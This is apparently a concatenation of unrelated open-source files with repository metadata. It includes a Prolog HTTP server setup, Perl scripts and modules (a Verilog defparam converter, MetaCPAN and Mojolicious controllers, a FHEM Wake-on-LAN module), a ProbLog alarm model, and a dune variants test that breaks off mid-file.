:- module(server, [ ]). :- use_module(library(http/thread_httpd)). :- use_module(library(http/http_dispatch)). :- use_module(library(http/http_json)). :- use_module(library(http/http_cookie)). :- use_module(library(http/http_server_files)). :- use_module(library(debug)). :- use_module(library(apply)). :- use_module(library(settings)). :- use_module(library(http/http_authenticate)). /** <module> Prolog Web Server */ :- multifile user:file_search_path/2. :- dynamic user:file_search_path/2. :- prolog_load_context(directory, Dir), asserta(user:file_search_path(app, Dir)). user:file_search_path(www, app(www)). user:file_search_path(apps, app(apps)). :- http_handler(root(apps), serve_files_in_directory(apps), [prefix]). :- http_handler(root(.), serve_files_in_directory(www), [prefix]). :- http_handler(root(tutorial), http_reply_file('www/tutorial.html', []), [prefix]). :- http_handler(root(admin/server), http_reply_file('www/admin/server.html', []), [prefix, authentication(basic(passwd, admin))]). :- http_handler(root(admin/applications), http_reply_file('www/admin/applications.html', []), [prefix, authentication(basic(passwd, admin))]). :- http_handler(root(admin/statistics), http_reply_file('www/admin/statistics.html', []), [prefix]). :- http_handler(root(admin/account), http_reply_file('www/admin/account.html', []), [prefix, authentication(basic(passwd, admin))]). :- http_handler(root(admin), http_redirect(moved_temporary, root(admin/server)), []). :- http_handler(/, http_redirect(moved_temporary, root('docs/index.html')), []).
35.066667
142
0.728137
ed313ad7b1541c22025cd98b16daa978ec2ff980
1,721
pl
Perl
util/scripts/OBSOLETE/defParams.pl
GaloisInc/BESSPIN-BSC
21a0a8cba9e643ef5afcb87eac164cc33ea83e94
[ "BSD-2-Clause", "BSD-3-Clause" ]
1
2022-02-11T01:52:42.000Z
2022-02-11T01:52:42.000Z
util/scripts/OBSOLETE/defParams.pl
GaloisInc/BESSPIN-BSC
21a0a8cba9e643ef5afcb87eac164cc33ea83e94
[ "BSD-2-Clause", "BSD-3-Clause" ]
null
null
null
util/scripts/OBSOLETE/defParams.pl
GaloisInc/BESSPIN-BSC
21a0a8cba9e643ef5afcb87eac164cc33ea83e94
[ "BSD-2-Clause", "BSD-3-Clause" ]
null
null
null
#!/usr/bin/perl -pi~ # in our generated verilog we don't use # much # and only for parameters is it '#(' if (/ \#\(/) { # make sure I've read in all the parameters (they may be multiline) while (!/\) /) { $_ .= <>; } # now we have all the parameters if (s/ \#\(([^\)]*)\)\s+([\w_]+)/ $2/m) { my $params = $1; my $inst = $2; my $firstLine = $_; print $_; # undent a bit ? # my $len = length($params); # split parameters, save them until we see ';' if ($params =~ m@/\*@) { # -v95 switch was used.. format = /*name*/value # split parameters, save them until we see ';' $params =~ s/\s+//g; # remove all spaces $params =~ s@\*/@=@g; # change '*/' => '=' (* needs escape) $params =~ s@/\*@@g; # change '/*' => '' } else { #-v2k used .. format = .name(value) $params =~ s/\s+//g; # remove all spaces $params =~ s@\)@@g; # change ')' => '' $params =~ s@\.@@g; # change '.' => '' $params =~ s@\(@=@g; # change '(' => '=' } # break into separate fields my @f = split(',', $params); # skip ahead until we see ';' while (<>) { print $_; last if (/\;/) } foreach $i ( @f ) { print " defparam $inst.$i ;\n"; } $_ = ''; } else { # failed to parse properly, so print a warning and leave it as is? print "// WARNING: $0 failed to change to defParam\n"; print $_; } }
29.169492
74
0.397443
ed26ae08e965022c69f27331966f4f95ce81a02c
775
pm
Perl
lib/MetaCPAN/Web/Controller/River.pm
hstejas/metacpan-web
f6d9725ecae678a8d8260f3504fd1f2e3b36d990
[ "Artistic-1.0" ]
1
2021-03-05T10:43:19.000Z
2021-03-05T10:43:19.000Z
lib/MetaCPAN/Web/Controller/River.pm
hstejas/metacpan-web
f6d9725ecae678a8d8260f3504fd1f2e3b36d990
[ "Artistic-1.0" ]
1
2020-11-09T15:18:40.000Z
2020-11-09T15:18:40.000Z
lib/MetaCPAN/Web/Controller/River.pm
hstejas/metacpan-web
f6d9725ecae678a8d8260f3504fd1f2e3b36d990
[ "Artistic-1.0" ]
1
2020-03-17T13:55:24.000Z
2020-03-17T13:55:24.000Z
package MetaCPAN::Web::Controller::River; use Moose; BEGIN { extends 'MetaCPAN::Web::Controller' } sub root : Chained('/') PathPart('river') CaptureArgs(0) { } sub gauge : Chained('root') PathPart('gauge') Args(1) { my ( $self, $c, $name ) = @_; my $dist = $c->model('API::Distribution')->get($name)->get; # Lack of river data for a dist is handled differently in the template. $c->detach('/not_found') unless $dist->{name}; $c->res->content_type('image/svg+xml'); $c->stash( { distribution => $dist, template => 'river/gauge.svg', } ); $c->cdn_max_age('1y'); $c->browser_max_age('7d'); $c->add_dist_key( $dist->{name} ); $c->detach( $c->view("Raw") ); } __PACKAGE__->meta->make_immutable; 1;
23.484848
75
0.584516
73f8f1daf63a70b3f0763e39e75eb92082df905e
3,317
pl
Perl
data/processed/earthquake_2_1588920084.pl
VincentDerk/Paper-AC-Decisions-Learning
abd1dc8893fbb11b43ebb49a25e26c0183bdba62
[ "Apache-2.0" ]
null
null
null
data/processed/earthquake_2_1588920084.pl
VincentDerk/Paper-AC-Decisions-Learning
abd1dc8893fbb11b43ebb49a25e26c0183bdba62
[ "Apache-2.0" ]
null
null
null
data/processed/earthquake_2_1588920084.pl
VincentDerk/Paper-AC-Decisions-Learning
abd1dc8893fbb11b43ebb49a25e26c0183bdba62
[ "Apache-2.0" ]
null
null
null
body_7(4,alarm) :- burglary, earthquake. body_19(15,alarm) :- burglary, \+earthquake. body_30(26,alarm) :- \+burglary, earthquake. body_42(37,alarm) :- \+burglary, \+earthquake. body_50(49,maryCalls) :- alarm. body_60(58,maryCalls) :- \+alarm. body_68(67,johnCalls) :- alarm. body_78(76,johnCalls) :- \+alarm. query(johnCalls). query(maryCalls). query(earthquake). query(alarm). query(burglary). utility(util_node(0),20). utility(\+(util_node(0)),-43). util_node(0) :- \+johnCalls, \+maryCalls, \+earthquake, \+alarm, \+burglary. util_node(0) :- \+johnCalls, \+maryCalls, \+earthquake, \+alarm, \+burglary. util_node(0) :- \+johnCalls, \+maryCalls, \+earthquake, \+alarm, \+burglary. util_node(0) :- \+johnCalls, \+maryCalls, \+earthquake, \+alarm, \+burglary. util_node(0) :- \+johnCalls, \+maryCalls, \+earthquake, \+alarm, \+burglary. utility(util_node(1),45). utility(\+(util_node(1)),-28). util_node(1) :- \+johnCalls, \+maryCalls, \+earthquake, \+alarm, \+burglary. util_node(1) :- \+johnCalls, \+maryCalls, \+earthquake, \+alarm, \+burglary. util_node(1) :- \+johnCalls, \+maryCalls, \+earthquake, \+alarm, \+burglary. util_node(1) :- \+johnCalls, \+maryCalls, \+earthquake, \+alarm, \+burglary. util_node(1) :- \+johnCalls, \+maryCalls, \+earthquake, \+alarm, \+burglary. utility(util_node(2),15). utility(\+(util_node(2)),22). util_node(2) :- \+johnCalls, \+maryCalls, \+earthquake, \+alarm, \+burglary. util_node(2) :- \+johnCalls, \+maryCalls, \+earthquake, \+alarm, \+burglary. util_node(2) :- \+johnCalls, \+maryCalls, \+earthquake, \+alarm, \+burglary. util_node(2) :- \+johnCalls, \+maryCalls, \+earthquake, \+alarm, \+burglary. util_node(2) :- \+johnCalls, \+maryCalls, \+earthquake, \+alarm, \+burglary. utility(util_node(3),33). utility(\+(util_node(3)),-25). util_node(3) :- johnCalls, \+maryCalls, \+earthquake, \+alarm, \+burglary. util_node(3) :- \+johnCalls, \+maryCalls, \+earthquake, \+alarm, \+burglary. util_node(3) :- \+johnCalls, \+maryCalls, \+earthquake, \+alarm, \+burglary. util_node(3) :- \+johnCalls, \+maryCalls, \+earthquake, \+alarm, \+burglary. util_node(3) :- \+johnCalls, \+maryCalls, \+earthquake, \+alarm, \+burglary. utility(util_node(4),-33). utility(\+(util_node(4)),-24). util_node(4) :- \+johnCalls, \+maryCalls, \+earthquake, \+alarm, \+burglary. util_node(4) :- \+johnCalls, \+maryCalls, \+earthquake, \+alarm, \+burglary. util_node(4) :- \+johnCalls, \+maryCalls, \+earthquake, \+alarm, \+burglary. util_node(4) :- \+johnCalls, \+maryCalls, \+earthquake, \+alarm, \+burglary. util_node(4) :- \+johnCalls, \+maryCalls, \+earthquake, \+alarm, \+burglary. body_436(435,alarm) :- body_7(4,alarm). body_444(443,alarm) :- body_19(15,alarm). body_452(451,alarm) :- body_30(26,alarm). body_460(459,alarm) :- body_42(37,alarm). body_468(467,maryCalls) :- body_50(49,maryCalls). body_476(475,maryCalls) :- body_60(58,maryCalls). body_484(483,johnCalls) :- body_68(67,johnCalls). body_492(491,johnCalls) :- body_78(76,johnCalls). ?::earthquake. ?::burglary. 0.95::alarm :- body_436(435,alarm). 0.94::alarm :- body_444(443,alarm). 0.29::alarm :- body_452(451,alarm). 0.001::alarm :- body_460(459,alarm). 0.7::maryCalls :- body_468(467,maryCalls). 0.01::maryCalls :- body_476(475,maryCalls). 0.9::johnCalls :- body_484(483,johnCalls). 0.05::johnCalls :- body_492(491,johnCalls).
49.507463
76
0.681339
73fd9d2632d3c46c2be5cae25d71fb26cb88cf3b
15,734
pm
Perl
fhem/core/FHEM/98_WOL.pm
opit7/fhem-docker
d44c9913155318eeae9500767f947a02bbcbac76
[ "MIT" ]
9
2018-02-06T11:57:50.000Z
2021-12-10T13:59:03.000Z
fhem/core/FHEM/98_WOL.pm
opit7/fhem-docker
d44c9913155318eeae9500767f947a02bbcbac76
[ "MIT" ]
null
null
null
fhem/core/FHEM/98_WOL.pm
opit7/fhem-docker
d44c9913155318eeae9500767f947a02bbcbac76
[ "MIT" ]
1
2020-03-20T18:04:49.000Z
2020-03-20T18:04:49.000Z
# $Id: 98_WOL.pm 10595 2016-01-22 17:05:38Z dietmar63 $ # erweitert um die Funktion nas_control Dietmar Ortmann $ # # This file is part of fhem. # # Fhem is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # (at your option) any later version. # # Fhem is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with fhem. If not, see <http://www.gnu.org/licenses/>. # ############################################################################## package main; use strict; use warnings; use IO::Socket; use Blocking; use Time::HiRes qw(gettimeofday); ################################################################################ sub WOL_Initialize($) { my ($hash) = @_; if(!$modules{Twilight}{LOADED} && -f "$attr{global}{modpath}/FHEM/59_Twilight.pm") { my $ret = CommandReload(undef, "59_Twilight"); Log3 undef, 1, $ret if($ret); } $hash->{SetFn} = "WOL_Set"; $hash->{DefFn} = "WOL_Define"; $hash->{UndefFn} = "WOL_Undef"; $hash->{AttrFn} = "WOL_Attr"; $hash->{AttrList} = "interval shutdownCmd sysCmd sysInterface useUdpBroadcast ". $readingFnAttributes; } ################################################################################ sub WOL_Set($@) { my ($hash, @a) = @_; return "no set value specified" if(int(@a) < 2); return "Unknown argument $a[1], choose one of on off refresh" if($a[1] eq "?"); my $name = shift @a; my $v = join(" ", @a); Log3 $hash, 3, "[$name] set $name $v"; if ($v eq "on") { readingsSingleUpdate($hash, "active", $v, 1); Log3 $hash, 3, "[$name] waking $name with MAC $hash->{MAC} IP $hash->{IP} "; WOL_GetUpdate( { 'HASH' => $hash } ); } elsif ($v eq "off") { readingsSingleUpdate($hash, "active", $v, 1); my $cmd = AttrVal($name, "shutdownCmd", ""); if ($cmd eq "") { Log3 $hash, 3, "[$name] no shutdown command given (see shutdownCmd attribute)!"; } $cmd = SemicolonEscape($cmd); Log3 $hash, 3, "[$name] shutdownCmd: $cmd executed"; my $ret = AnalyzeCommandChain(undef, $cmd); Log3 ($hash, 3, "[$name]" . $ret) if($ret); } elsif ($v eq "refresh") { WOL_UpdateReadings( { 'HASH' => $hash } ); } return undef; } ################################################################################ sub WOL_Define($$) { my ($hash, $def) = @_; my @a = split("[ \t][ \t]*", $def); my $u = "wrong syntax: define <name> WOL <MAC_ADRESS> <IP> <mode> <repeat> "; return $u if(int(@a) < 4); my $name = shift @a; my $type = shift @a; my $mac = shift @a; my $ip = shift @a; my $mode = shift @a; my $repeat = shift @a; $repeat = "000" if (!defined $repeat); $mode = "BOTH" if (!defined $mode); return "invalid MAC<$mac> - use HH:HH:HH:HH:HH" if(!($mac =~ m/^([0-9a-f]{2}([:-]|$)){6}$/i )); return "invalid IP<$ip> - use ddd.ddd.ddd.ddd" if(!($ip =~ m/^([0-9]{1,3}([.-]|$)){4}$/i )); return "invalid mode<$mode> - use EW|UDP|BOTH" if(!($mode =~ m/^(BOTH|EW|UDP)$/)); return "invalid repeat<$repeat> - use 999" if(!($repeat =~ m/^[0-9]{1,3}$/i)); $hash->{NAME} = $name; $hash->{MAC} = $mac; $hash->{IP} = $ip; $hash->{REPEAT} = $repeat; $hash->{MODE} = $mode; delete $hash->{helper}{RUNNING_PID}; readingsSingleUpdate($hash, "packet_via_EW", "none",0); readingsSingleUpdate($hash, "packet_via_UDP", "none",0); readingsSingleUpdate($hash, "state", "none",0); readingsSingleUpdate($hash, "active", "off", 0); RemoveInternalTimer($hash); WOL_SetNextTimer($hash, 10); return undef; } ################################################################################ sub WOL_Undef($$) { my ($hash, $arg) = @_; myRemoveInternalTimer("ping", $hash); myRemoveInternalTimer("wake", $hash); BlockingKill($hash->{helper}{RUNNING_PID}) if(defined($hash->{helper}{RUNNING_PID})); return undef; } ################################################################################ sub WOL_UpdateReadings($) { my ($myHash) = @_; my $hash = myGetHashIndirekt($myHash, (caller(0))[3]); return if (!defined($hash)); my $name = $hash->{NAME}; my $timeout = 4; my $arg = $hash->{NAME}."|".$hash->{IP}; my $blockingFn = "WOL_Ping"; my $finishFn = "WOL_PingDone"; my $abortFn = "WOL_PingAbort"; if (!(exists($hash->{helper}{RUNNING_PID}))) { $hash->{helper}{RUNNING_PID} = BlockingCall($blockingFn, $arg, $finishFn, $timeout, $abortFn, $hash); } else { Log3 $hash, 3, "[$name] Blocking Call running no new started"; WOL_SetNextTimer($hash); } } ################################################################################ sub WOL_Ping($){ my ($string) = @_; my ($name, $ip) = split("\\|", $string); my $hash = $defs{$name}; my $ping = "ping -c 1 -w 2 $ip"; Log3 $hash, 4, "[$name] executing: $ping"; my $res = qx ($ping); $res = "" if (!defined($res)); Log3 $hash, 4, "[$name] result executing ping: $res"; my $erreichbar = !($res =~ m/100%/); my $return = "$name|$erreichbar"; return $return; } ################################################################################ sub WOL_PingDone($){ my ($string) = @_; my ($name, $erreichbar) = split("\\|", $string); my $hash = $defs{$name}; readingsBeginUpdate ($hash); if ($erreichbar) { Log3 $hash, 4, "[$name] ping succesful - state = on"; readingsBulkUpdate ($hash, "isRunning", "true"); readingsBulkUpdate ($hash, "state", "on"); } else { Log3 $hash, 4, "[$name] ping not succesful - state = off"; readingsBulkUpdate ($hash, "isRunning", "false"); readingsBulkUpdate ($hash, "state", "off"); } readingsEndUpdate($hash, defined($hash->{LOCAL} ? 0 : 1)); delete($hash->{helper}{RUNNING_PID}); WOL_SetNextTimer($hash); } ################################################################################ sub WOL_PingAbort($){ my ($hash) = @_; delete($hash->{helper}{RUNNING_PID}); Log3 $hash->{NAME}, 3, "BlockingCall for ".$hash->{NAME}." was aborted"; WOL_SetNextTimer($hash); } ################################################################################ sub WOL_GetUpdate($) { my ($myHash) = @_; my $hash = myGetHashIndirekt($myHash, (caller(0))[3]); return if (!defined($hash)); my $active = ReadingsVal($hash->{NAME}, "active", "nF"); if ($active eq "on") { WOL_wake($hash); if ($hash->{REPEAT} > 0) { myRemoveInternalTimer("wake", $hash); myInternalTimer ("wake", gettimeofday()+$hash->{REPEAT}, "WOL_GetUpdate", $hash, 0); } } } ################################################################################ sub WOL_wake($){ my ($hash) = @_; my $name = $hash->{NAME}; my $mac = $hash->{MAC}; my $host = $hash->{IP}; $host = '255.255.255.255' if (!defined $host); $host = AttrVal($name, "useUdpBroadcast",$host); readingsBeginUpdate ($hash); Log3 $hash, 4, "[$name] keeping $name with MAC $mac IP $host busy"; if ($hash->{MODE} eq "BOTH" || $hash->{MODE} eq "EW" ) { WOL_by_ew ($hash, $mac); readingsBulkUpdate ($hash, "packet_via_EW", $mac); } if ($hash->{MODE} eq "BOTH" || $hash->{MODE} eq "UDP" ) { WOL_by_udp ($hash, $mac, $host); readingsBulkUpdate ($hash, "packet_via_UDP", $host); } readingsEndUpdate($hash, defined($hash->{LOCAL} ? 0 : 1)); } ################################################################################ # method to wake via lan, taken from Net::Wake package sub WOL_by_udp { my ($hash, $mac_addr, $host, $port) = @_; my $name = $hash->{NAME}; # use the discard service if $port not passed in if (!defined $port || $port !~ /^\d+$/ ) { $port = 9 } my $sock = new IO::Socket::INET(Proto=>'udp') or die "socket : $!"; if(!$sock) { Log3 $hash, 1, "[$name] Can't create WOL socket"; return 1; } my $ip_addr = inet_aton($host); my $sock_addr = sockaddr_in($port, $ip_addr); $mac_addr =~ s/://g; my $packet = pack('C6H*', 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, $mac_addr x 16); setsockopt($sock, SOL_SOCKET, SO_BROADCAST, 1) or die "setsockopt : $!"; send($sock, $packet, 0, $sock_addr) or die "send : $!"; close ($sock); return 1; } ################################################################################ # method to wake via system command sub WOL_by_ew($$) { my ($hash, $mac) = @_; my $name = $hash->{NAME}; # Fritzbox Raspberry Raspberry aber root my @commands = ("/usr/bin/ether-wake", "/usr/bin/wakeonlan", "/usr/sbin/etherwake" ); my $standardEtherwake = "no WOL found - use '/usr/bin/ether-wake' or '/usr/bin/wakeonlan' or define Attribut sysCmd"; foreach my $tstCmd (@commands) { if (-e $tstCmd) { $standardEtherwake = $tstCmd; last; } } Log3 $hash, 4, "[$name] standard wol command: $standardEtherwake"; my $sysCmd = AttrVal($hash->{NAME}, "sysCmd", ""); my $sysInterface = AttrVal($hash->{NAME}, "sysInterface", ""); if ($sysCmd gt "") { Log3 $hash, 4, "[$name] user wol command(sysCmd): '$sysCmd'"; } else { $sysCmd = $standardEtherwake; } # wenn noch keine $mac dann $mac anhängen. $sysCmd .= ' $mac' if ($sysCmd !~ m/\$mac/g); # sysCmd splitten und den nur ersten Teil (-e teil[0])prüfen my ($sysWake) = split (" ", $sysCmd); if (-e $sysWake) { $sysCmd =~ s/\$mac/$mac/; $sysCmd =~ s/\$sysInterface/$sysInterface/; Log3 $hash, 4, "[$name] executing $sysCmd"; qx ($sysCmd); } else { Log3 $hash, 1, "[$hash->{NAME}] system command '$sysWake' not found"; } return; } ################################################################################ sub WOL_SetNextTimer($;$) { my ($hash, $int) = @_; my $name = $hash->{NAME}; $int = AttrVal($hash->{NAME}, "interval", 900) if not defined $int; if ($int != 0) { Log3 $hash, 5, "[$name] WOL_SetNextTimer to $int"; myRemoveInternalTimer("ping", $hash); myInternalTimer ("ping", gettimeofday() + $int, "WOL_UpdateReadings", $hash, 0); } return; } ################################################################################ sub WOL_Attr($$$) { my ($cmd, $name, $attrName, $attrVal) = @_; $attrVal = "" if(!defined $attrVal); my $hash = $defs{$name}; if ($attrName eq "useUdpBroadcast") { if(!($attrVal =~ m/^([0-9]{1,3}([.-]|$)){4}$/i)) { Log3 $hash, 3, "[$name] invalid Broadcastadress<$attrVal> - use ddd.ddd.ddd.ddd"; } } if ($attrName eq "interval") { RemoveInternalTimer($hash); # when deleting the interval we trigger an update in one second my $int = ($cmd eq "del") ? 1 : $attrVal; if ($int != 0) { # restart timer with new interval WOL_SetNextTimer($hash, $int); } } return undef; } 1; =pod =begin html <a name="WOL"></a> <h3>WOL</h3> Defines a WOL device via its MAC and IP address.<br><br> when sending the <b>on</b> command to a WOL device it wakes up the dependent device by sending a magic packet. When running in repeat mode the magic paket ist sent every n seconds to the device. So, for example a Buffalo NAS can be kept awake. <ul> <a name="WOLdefine"></a> <h4>Define</h4> <ul> <code><b><font size="+1">define &lt;name&gt; WOL &lt;MAC&gt; &lt;IP&gt; [&lt;mode&gt; [&lt;repeat&gt;]]</font></b></code> <br><br> <dl> <dt><b>MAC</b></dt> <dd>MAC-Adress of the host</dd> <dt><b>IP</b></dt> <dd>IP-Adress of the host (or broadcast address of the local network if IP of the host is unknown)</dd> <dt><b>mode <i>[EW|UDP]</i></b></dt> <dd>EW: wakeup by <i>usr/bin/ether-wake</i> </dd> <dd>UDP: wakeup by an implementation like <i>Net::Wake(CPAN)</i></dd> </dl> <br><br> <b><font size="+1">Examples</font></b>: <ul> <code>define computer1 WOL 72:11:AC:4D:37:13 192.168.0.24&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;switching only one time</code><br> <code>define computer1 WOL 72:11:AC:4D:37:13 192.168.0.24 EW&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; by ether-wake(linux command)</code><br> <code>define computer1 WOL 72:11:AC:4D:37:13 192.168.0.24 BOTH&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; by both methods</code><br> <code>define computer1 WOL 72:11:AC:4D:37:13 192.168.0.24 UDP 200 &nbsp;&nbsp;&nbsp; in repeat mode<i><b>usr/bin/ether-wake</b></i> in repeatmode</code><br> </ul> <br><br> <b><font size="+1">Notes</font></b>: <ul> Not every hardware is able to wake up other devices by default. Oftenly firewalls filter magic packets. Switch them first off. You may need a packet sniffer to check some malfunktion. With this module you get two methods to do the job: see the mode parameter. </ul> </ul> <a name="WOLset"></a> <h4>Set </h4> <ul> <code><b><font size="+1">set &lt;name&gt; &lt;value&gt;</font></b></code> <br><br> where <code>value</code> is one of:<br> <pre> <b>refresh</b> # checks(by ping) whether the device is currently running <b>on</b> # sends a magic packet to the defined MAC address <b>off</b> # stops sending magic packets and sends the <b>shutdownCmd</b>(see attributes) </pre> <b><font size="+1">Examples</font></b>: <ul> <code>set computer1 on</code><br> <code>set computer1 off</code><br> <code>set computer1 refresh</code><br> </ul> </ul> <a name="WOLattr"></a> <h4>Attributes</h4> <ul> <li><code>attr &lt;name&gt; sysCmd &lt;string&gt;</code> <br>Custom command executed to wakeup a remote machine, i.e. <code>/usr/bin/ether-wake or /usr/bin/wakeonlan</code></li> <li><code>attr &lt;name&gt; shutdownCmd &lt;command&gt;</code> <br>Custom command executed to shutdown a remote machine. You can use &lt;command&gt;, like you use it in at, notify or Watchdog</li> <br><br> Examples: <PRE> attr wol shutdownCmd set lamp on # fhem command attr wol shutdownCmd { Log 1, "Teatime" } # Perl command attr wol shutdownCmd "/bin/echo "Teatime" > /dev/console" # shell command </PRE> <li><code>attr &lt;name&gt; interval &lt;seconds&gt;</code></a> <br>defines the time between two checks by a <i>ping</i> if state of &lt;name&gt is <i>on</i>. By using 0 as parameter for interval you can switch off checking the device.</li> <li><code>attr &lt;name&gt; useUdpBroadcast &lt;broardcastAdress&gt;</code> <br>When using UDP then the magic packet can be send to one of the broardcastAdresses (x.x.x.255, x.x.255.255, x.255.255.255) instead of the target host address. Try using this, when you want to wake up a machine in your own subnet and the wakekup with the target adress is instable or doesn't work.</li> </ul> </ul> =end html =cut
35.199105
201
0.534321
73f4d279ca896891f978bc3f65be6edaac751d99
328
t
Perl
t/manifest.t
CliffS/signable-api
d497f2b79a23b1a65d1e59a32bea8344ab8d344f
[ "Artistic-2.0", "Unlicense" ]
null
null
null
t/manifest.t
CliffS/signable-api
d497f2b79a23b1a65d1e59a32bea8344ab8d344f
[ "Artistic-2.0", "Unlicense" ]
null
null
null
t/manifest.t
CliffS/signable-api
d497f2b79a23b1a65d1e59a32bea8344ab8d344f
[ "Artistic-2.0", "Unlicense" ]
null
null
null
#!perl -T use 5.14.0; use strict; use warnings FATAL => 'all'; use Test::More; unless ( $ENV{RELEASE_TESTING} ) { plan( skip_all => "Author tests not required for installation" ); } my $min_tcm = 0.9; eval "use Test::CheckManifest $min_tcm"; plan skip_all => "Test::CheckManifest $min_tcm required" if $@; ok_manifest();
20.5
69
0.679878
73fffb00ce123b77def232bef1cca0933d6daa28
67
pm
Perl
lib/Bio/KBase/workspaceService.pm
kbase/workspace_service
e430b5a8f9f4ecf55d7b7078934fa7409664c64e
[ "MIT" ]
null
null
null
lib/Bio/KBase/workspaceService.pm
kbase/workspace_service
e430b5a8f9f4ecf55d7b7078934fa7409664c64e
[ "MIT" ]
null
null
null
lib/Bio/KBase/workspaceService.pm
kbase/workspace_service
e430b5a8f9f4ecf55d7b7078934fa7409664c64e
[ "MIT" ]
null
null
null
package Bio::KBase::workspaceService; our $VERSION = "0.1.0"; 1;
11.166667
37
0.671642
ed4fb4cec5e611fd44e1a98654df7ad8ff74ef34
454
pl
Perl
unzip_example.pl
mishin/presentation
026cc0e41ad8e9bec64f4579e511fe3f83ab231f
[ "Apache-2.0" ]
4
2015-07-02T17:12:22.000Z
2021-11-28T14:35:04.000Z
unzip_example.pl
mishin/presentation
026cc0e41ad8e9bec64f4579e511fe3f83ab231f
[ "Apache-2.0" ]
2
2015-06-28T12:46:34.000Z
2021-07-06T10:31:25.000Z
unzip_example.pl
mishin/presentation
026cc0e41ad8e9bec64f4579e511fe3f83ab231f
[ "Apache-2.0" ]
1
2015-06-28T09:52:08.000Z
2015-06-28T09:52:08.000Z
use v5.10; use Archive::Zip qw(:ERROR_CODES); sub unzip_file { my ( $zipName, $dirName ) = @_; if ( !-d $dirName ) { mkdir $dirName; } my $zip = Archive::Zip->new(); my $status = $zip->read($zipName); die "Read of $zipName failed\n" if $status != AZ_OK; my $extract_status = $zip->extractTree( '', $dirName ); die "Extract of $zipName failed\n" if $extract_status != AZ_OK; say "Extract $zipName done!"; }
28.375
67
0.585903
73f455a43029f5390dcbbca31d92ee93d608e66d
2,439
pm
Perl
t/mojolicious/lib/MojoliciousTest/Foo.pm
chylli-binary/mojo
fb221bb5c8c94c21eb7202be09833f5592e95d0d
[ "Artistic-2.0" ]
null
null
null
t/mojolicious/lib/MojoliciousTest/Foo.pm
chylli-binary/mojo
fb221bb5c8c94c21eb7202be09833f5592e95d0d
[ "Artistic-2.0" ]
1
2020-03-31T20:23:33.000Z
2020-03-31T20:23:33.000Z
t/mojolicious/lib/MojoliciousTest/Foo.pm
chylli-binary/mojo
fb221bb5c8c94c21eb7202be09833f5592e95d0d
[ "Artistic-2.0" ]
2
2020-03-13T13:41:29.000Z
2021-09-29T00:19:26.000Z
package MojoliciousTest::Foo; use Mojo::Base 'Mojolicious::Controller'; sub DESTROY { shift->stash->{destroyed} = 1 } sub config { my $self = shift; $self->render(text => $self->stash('config')->{test}); } sub fun { shift->render } sub joy { shift->render } sub index { my $self = shift; $self->layout('default'); $self->stash(handler => 'xpl', msg => 'Hello World!'); } sub longpoll { my $self = shift; $self->on(finish => sub { shift->stash->{finished} = 1 }); $self->write_chunk( 'P' => sub { shift->write_chunk('oll!' => sub { shift->write_chunk('') }); } ); } sub plugin_camel_case { my $self = shift; $self->render(text => $self->some_plugin); } sub plugin_upper_case { my $self = shift; $self->render(text => $self->upper_case_test_plugin); } sub session_domain { my $self = shift; $self->session(user => 'Bender'); $self->render(text => 'Bender rockzzz!'); } sub something { my $self = shift; $self->res->headers->header('X-Bender' => 'Bite my shiny metal ass!'); $self->render(text => $self->url_for('something', something => '42')); } sub stage1 { my $self = shift; # Authenticated return 1 if $self->req->headers->header('X-Pass'); # Fail $self->render(text => 'Go away!'); return undef; } sub stage2 { return shift->some_plugin } sub suspended { my $self = shift; $self->res->headers->append('X-Suspended' => $self->match->position); Mojo::IOLoop->next_tick(sub { $self->res->headers->append('X-Suspended' => $self->match->position); $self->continue; }); return 0; } sub syntaxerror { shift->render('syntaxerror', format => 'html') } sub templateless { shift->render(handler => 'test') } sub test { my $self = shift; $self->res->headers->header('X-Bender' => 'Bite my shiny metal ass!'); $self->render(text => $self->url_for(controller => 'bar')); } sub url_for_missing { my $self = shift; $self->render(text => $self->url_for('does_not_exist', something => '42')); } sub willdie { die 'for some reason' } sub withBlock { shift->render(template => 'withblock') } sub withlayout { shift->stash(template => 'WithGreenLayout') } 1; __DATA__ @@ foo/fun.html.ep <p>Have fun!</p>\ @@ foo/joy.html.ep <p class="joy" style="background-color: darkred;">Joy for all!</p>\ @@ just/some/template.html.epl Development template with high precedence. @@ some/static/file.txt Development static file with high precedence.
21.584071
77
0.634276
ed2f94b44624b96b420c9538e71cb2acfe94d28b
3,565
t
Perl
vendor/dune/test/blackbox-tests/test-cases/variants/run.t
prashant-shahi/pesy
5562d9387ba62704f6505c505c906b82f5d73a51
[ "MIT" ]
null
null
null
vendor/dune/test/blackbox-tests/test-cases/variants/run.t
prashant-shahi/pesy
5562d9387ba62704f6505c505c906b82f5d73a51
[ "MIT" ]
null
null
null
vendor/dune/test/blackbox-tests/test-cases/variants/run.t
prashant-shahi/pesy
5562d9387ba62704f6505c505c906b82f5d73a51
[ "MIT" ]
null
null
null
Test that trying to specify a variant for not an implementation results in an appropriate error message. $ dune build --root variant-not-implementation Entering directory 'variant-not-implementation' File "dune", line 4, characters 10-13: 4 | (variant foo)) ^^^ Error: Only implementations can specify a variant. [1] Having multiple implementations of the same library with respect to selected variants results in an appropriate error message. $ dune build --root multiple-implementations-for-variants Entering directory 'multiple-implementations-for-variants' File "dune", line 4, characters 11-14: 4 | (variants a b)) ^^^ Error: Multiple solutions for the implementation of "vlib" with variants a and b: - "lib_b" in _build/default/lib.b (variant b) - "lib2_a" in _build/default/lib2$ext_lib (variant a) [1] Basic sample using variants and a default library. $ dune build --root variants-base Entering directory 'variants-base' bar alias default hello from lib.test Check that implementations are chosen according to manual specification, then variants and finally default implementation. $ dune build --root resolution-priority Entering directory 'resolution-priority' bar alias default hi from direct.ocaml hi from variant.c hi from test.default Check that variant data is installed in the dune package file. $ dune build --root dune-package Entering directory 'dune-package' $ cat dune-package/_build/install/default/lib/a/dune-package (lang dune 1.11) (name a) (library (name a) (kind normal) (archives (byte a.cma) (native a.cmxa)) (plugins (byte a.cma) (native a.cmxs)) (foreign_archives (native 